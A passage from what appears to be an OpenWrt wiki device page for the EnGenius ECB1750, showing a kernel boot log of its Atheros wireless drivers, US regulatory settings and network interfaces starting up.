ath10k_pci 0000:00:00.0: pci irq legacy interrupts 0 irq_mode 0 reset_mode 0 [ 10.670468] ath10k_pci 0000:00:00.0: found invalid board magic [ 11.713648] ath10k_pci 0000:00:00.0: qca988x hw2.0 (0x4100016c, 0x043202ff sub 0000:0000) fw 10.2.4.70.12-2 fwapi 5 bdapi 1 htt-ver 2.1 wmi-op 5 htt-op 2 cal file max-sta 128 raw 0 hwcrypto 1 features no-p2p,raw-mode [ 11.733162] ath10k_pci 0000:00:00.0: debug 0 debugfs 1 tracing 0 dfs 1 testmode 1 [ 11.854075] cfg80211: Regulatory domain changed to country: US [ 11.860027] cfg80211: DFS Master region: FCC [ 11.864267] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp), (dfs_cac_time) [ 11.874155] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (N/A, 3000 mBm), (N/A) [ 11.882276] cfg80211: (5170000 KHz - 5250000 KHz @ 80000 KHz, 160000 KHz AUTO), (N/A, 2300 mBm), (N/A) [ 11.891895] cfg80211: (5250000 KHz - 5330000 KHz @ 80000 KHz, 160000 KHz AUTO), (N/A, 2300 mBm), (0 s) [ 11.901511] cfg80211: (5490000 KHz - 5730000 KHz @ 160000 KHz), (N/A, 2300 mBm), (0 s) [ 11.909722] cfg80211: (5735000 KHz - 5835000 KHz @ 80000 KHz), (N/A, 3000 mBm), (N/A) [ 11.917835] cfg80211: (57240000 KHz - 63720000 KHz @ 2160000 KHz), (N/A, 4000 mBm), (N/A) [ 12.070451] ip_tables: (C) 2000-2006 Netfilter Core Team [ 12.083708] nf_conntrack version 0.5.0 (1965 buckets, 7860 max) [ 12.116974] xt_time: kernel timezone is -0000 [ 12.133426] PPP generic driver version 2.4.2 [ 12.139788] NET: Registered protocol family 24 [ 12.173001] ieee80211 phy1: Atheros AR9550 Rev:0 mem=0xb8100000, irq=47 [ 17.520441] IPv6: ADDRCONF(NETDEV_UP): wlan1: link is not ready [ 18.217628] device eth0 entered promiscuous mode [ 18.231008] IPv6: ADDRCONF(NETDEV_UP): br-lan: link is not ready [ 80.819571] random: nonblocking pool is initialized


Notes

Space for additional notes, links to forum threads or other resources, …

Tags

toh/engenius/engenius_ecb1750_1.txt · Last modified: 2017/01/09 19:33 by tmomas